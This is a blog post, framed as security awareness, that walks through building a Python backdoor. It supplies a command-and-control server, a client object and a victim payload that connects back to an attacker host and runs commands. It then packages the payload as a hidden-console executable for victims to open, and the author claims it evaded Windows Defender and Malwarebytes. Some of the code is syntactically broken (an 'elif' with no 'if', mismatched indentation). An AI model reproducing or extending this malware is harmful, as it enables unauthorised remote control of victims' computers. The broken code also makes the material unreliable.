Backdoors in Python: Understanding the Risks and Implications for Your Security

Backdoors in Python: Understanding the Risks and Implications for Your Security

Introduction

A backdoor is a hidden method of bypassing normal authentication or security measures in a computer system, network, or software application. It is typically inserted by an attacker to gain unauthorized access or control of a system or to steal sensitive data. Backdoors can also be intentionally built into software by developers, for example, to provide a way for them to access a system remotely for maintenance or troubleshooting purposes.

However, regardless of the intention behind their creation, backdoors pose a significant threat to the security and privacy of individuals and organizations. They can be used by attackers to steal sensitive data, install malware, or take control of a system. In addition, because backdoors are hidden and bypass normal security measures, they can remain undetected for long periods, giving attackers ample time to carry out their malicious activities.

The consequences of a backdoor attack can be severe, leading to financial losses, reputation damage, and legal liabilities. In this blog post, we will explore the different types of backdoors, how they work, and the strategies that organizations can use to protect themselves from these threats. So, without further ado, let’s dive in and explore the world of backdoors and their impact on our digital lives.

Disclaimer

The consequences of spreading a backdoor can be devastating, and can result in legal action and severe penalties. It is important to take computer security seriously and avoid creating or distributing malware of any kind.

I am not supporting any crime in any direction with this blog post, I am just writing this post to demonstrate to you how easy it is to write backdoors like this one.
It is for informational purposes only and reprogramming is at your own risk.

How a Backdoor works

A backdoor is a malware type that negates normal authentication procedures to access a system. As a result, remote access is granted to resources within an application, such as databases and file servers, giving perpetrators the ability to remotely issue system commands and update malware.

The backdoor gets installed on the victims pc and then sends requests to the command and controll server, which the hacker can control and can now execute commands on it.

How to code a backdoor in Python

Getting started

To start coding we need the following libaries:

import os
import socket
import uuid
import time

Now we can start coding.

Accepting connections

First we want to create a function which accepts new connections and creates a new object for the victim which then gets stored in a list:

def createConnection():
    global clients
    global host
    global isConnected
    s = socket.socket()
    port = 5757
    s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
    tcp_ip = ""
    s.bind ((tcp_ip , port))
    s.listen(100)
    while True:
        conn, addr = s.accept()
        #Only print new Status when server is not connected to the terminal
        if isConnected == False:
            print(" ")
            stdout.write(addr[0] + " has connected" "\n")
        #Create a new Client and add them to the Client List
        clients.append(Client(s,conn,addr[0],uuid.uuid4().hex)) 

How to store the victim in a new object

In order to let this code work we also need to create a new object called Client where we can store all the information about our client

class Client:
    def __init__(self, s, conn, addr,name):
        #Stores all the information
        self.s = s
        self.conn = conn
        self.addr = addr
        self.name = name
    #Check if the connection is working
    def checkConnection(self):
        try:
            self.conn.send("check".encode())
            return True
        except:
            return False        

In this client object we will store the socket, the connection, the address and the name (uuid).

We will later need these variables in order to connect back to the client

Connect back to a client

While accepting new connections we also want to connect back to the client in order to execute commands. For this we need one thread to let two methods run at the same time.

if __name__ == '__main__':
    #Starts accepting new connections
    Thread(target = createConnection).start()
    time.sleep(1)
    #Lets you select to which client you want to connect back and execute commands on it
    terminal()
def terminal():
    global clients
    global isConnected
    printTitle()
    while True:
        names = []
        for client in clients:
          result = client.checkConnection()
          #Check if connection is online
          if result == False:
                clients.remove(client)
            else:
                names.append(client.name)
        userInput = input('terminal> ')
        #When user connnectes to one check if is active
        splitUserInput = userInput.split(" ")
        if userInput == "show clients":
            print(names)
            print("")
        elif splitUserInput[0]=="connect" and len(splitUserInput)>1:
            #Check if uuid exists
            found = False
            for client in clients:
                if(client.name==splitUserInput[1]):
                    found = True
                    isConnected = True
                    client.terminal()
                    isConnected=False
            if found == False:
                print("No client with this name found!")
        elif splitUserInput[0]=="os" and len(splitUserInput)>1:
            #Check if uuid exists
            found = False
            for client in clients:
                if(client.name==splitUserInput[1]):
                    found = True
                    client.showOs()
            if found == False:
                print("No client with this name found!")

With this function we can now easily select between different connections and connect to them. To connect with a client we need to call the function terminal() which looks like this.

In this terminal the user of the server can see the list of the active backdoors connected to the server with the command “show client” and can also connect to them with the command “connect <uuid>

If there is a Client object with this uuid it will call the function terminal() of the Client object in which you can execute commands. The terminal() function of the backdoor looks like this:

def terminal(self):
        self.printTitle()
        run = True
        while run:
            userInput = input(' terminal>', completer=completer)
            if userInput == "exit":
                run = False
            #Shows the current Dir
            elif userInput == "currentDir":
                self.conn.send(userInput.encode())
                files = self.conn.recv(1024)
                files = files.decode()
                print(files)

In this while loop we have a command called “currentDir” which sends the command “currentDir” to the client. But right now we do not have a file for the client to accept these requests and connect to the server which we need to code now.

The backdoor

The function of the client is to send a connection to our server which the server can accept. It also should connect back to it if the connection gets lost.

def createConnection():
    s = socket.socket()
    port = YOURPORT
    host = "your host"
    createConn = True
    while createConn:
        try:
            s.connect((host,port))
            createConn = False
        except:
            pass
    print("")
    print(" Established connection")
    print(" ")
    commandSender(s)

This function does connect to our server until it has a active connection. Also if the connection get lost it will try to reconnect to us.

Now we also need to handle all the commands our victim should be able to execute

def commandSender(s):
    waitForCommand = True
    while waitForCommand:
        try:
            print("Receive")
            command = s.recv(1024)
            command = command.decode()
            time.sleep(0.4)
            elif command == "currentDir":
                files = os.getcwd()
                files = str(files)
                s.send(files.encode())
        except :
            waitForCommand = False
    s.close()
    createConnection()

After a succesfull connection we wait for new commands to receive and then execute them. In this case if the command is “currentDir” we want to send the current directory back to our server.

Of course you can now add new connections to the server, client object and victim file to add new features to the backdoor.

Also if the connection to our server gets interrupted it will call the function createConnection() again to reconnect to our server.

The whole source code

The server

The Server.py file

def createConnection():
    global clients
    global host
    global isConnected
    s = socket.socket()
    port = 5757
    s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
    tcp_ip = ""
    s.bind ((tcp_ip , port))
    s.listen(100)
    while True:
        conn, addr = s.accept()
        #Only print new Status when server is not connected to the terminal
        if isConnected == False:
            print(" ")
            stdout.write(addr[0] + " has connected" "\n")
        #Create a new Client and add them to the Client List
        clients.append(Client(s,conn,addr[0],uuid.uuid4().hex)) 
        
def terminal():
    global clients
    global isConnected
    printTitle()
    while True:
        names = []
        for client in clients:
          result = client.checkConnection()
          #Check if connection is online
          if result == False:
                clients.remove(client)
            else:
                names.append(client.name)
        userInput = input('terminal> ')
        #When user connnectes to one check if is active
        splitUserInput = userInput.split(" ")
        if userInput == "show clients":
            print(names)
            print("")
        elif splitUserInput[0]=="connect" and len(splitUserInput)>1:
            #Check if uuid exists
            found = False
            for client in clients:
                if(client.name==splitUserInput[1]):
                    found = True
                    isConnected = True
                    client.terminal()
                    isConnected=False
            if found == False:
                print("No client with this name found!")
        elif splitUserInput[0]=="os" and len(splitUserInput)>1:
            #Check if uuid exists
            found = False
            for client in clients:
                if(client.name==splitUserInput[1]):
                    found = True
                    client.showOs()
            if found == False:
                print("No client with this name found!")

if __name__ == '__main__':
    Thread(target = createConnection).start()
    time.sleep(1)
    terminal()

The Client Object

The client.py file

class Client:
    def __init__(self, s, conn, addr,name):
        #Stores all the information
        self.s = s
        self.conn = conn
        self.addr = addr
        self.name = name
    #Check if the connection is working
    def checkConnection(self):
        try:
            self.conn.send("check".encode())
            return True
        except:
            return False     
    def terminal(self):
        self.printTitle()
        run = True
        while run:
            userInput = input(' terminal>', completer=completer)
            if userInput == "exit":
                run = False
            #Shows the current Dir
            elif userInput == "currentDir":
                self.conn.send(userInput.encode())
                files = self.conn.recv(1024)
                files = files.decode()
                print(files)  

The Backdoor

The Backdoor.py file

def commandSender(s):
    waitForCommand = True
    while waitForCommand:
        try:
            print("Receive")
            command = s.recv(1024)
            command = command.decode()
            time.sleep(0.4)
            elif command == "currentDir":
                files = os.getcwd()
                files = str(files)
                s.send(files.encode())
        except :
            waitForCommand = False
    s.close()
    createConnection()
    
def createConnection():
    s = socket.socket()
    port = YOURPORT
    host = "your host"
    createConn = True
    while createConn:
        try:
            s.connect((host,port))
            createConn = False
        except:
            pass
    print("")
    print(" Established connection")
    print(" ")
    commandSender(s)
if __name__ == '__main__':
  createConnection()

Convert it to exe

In order to convert it into a running programm we will install pyinstaller with the command:

pip install pyinstaller

Now we can run

pyinstaller --onefile Server.py
pyinstaller --onefile --noconsole Victim.py

We can now execute the Server.exe and wait until our victim opens the Victim.exe file.

After this we will get a new connection and can execute our commands just like currentDir.

Will pyinstaller get detected as a virus?

In my latest blog post a lot of people where saying that all executables of pyinstaller will get automatically detected as a virus, but this is not true.


PyInstaller is a popular tool for generating standalone executable files from Python scripts, and it has gained widespread use in the software development community. However in my last post about a USB Trojan, concerns have been raised about the potential for PyInstaller-generated EXE files to be detected as viruses by antivirus software.

While it is true that some PyInstaller-generated files may trigger virus detections, this does not necessarily mean that all the files are getting detected as a virus. Antivirus software uses a variety of techniques, such as signature-based detection and behavioral analysis, to identify viruses. If the code contained in the PyInstaller-generated EXE file matches a known virus signature or exhibits suspicious behavior, it may trigger a virus detection. However, if the code is clean and does not match any known virus signatures, it is unlikely to be detected as a virus. Therefore, it is important to understand that not every EXE file generated with PyInstaller will get detected as a virus.

In our case I tested the backdoor on multiple machines and it did not get detected as a virus. I tested it with the newest Windows Defender two times and also the newest malwarebytes version.

Conclusion

Nowadays creating a backdoor is not that hard and can be done within a few minutes and as you can see not every backdoor will get detected
certainly not when someone writes a programm like this at his own. So please keep in mind which exe files you execute on your system and only download programms from the right source.

Leave a Comment

Your email address will not be published. Required fields are marked *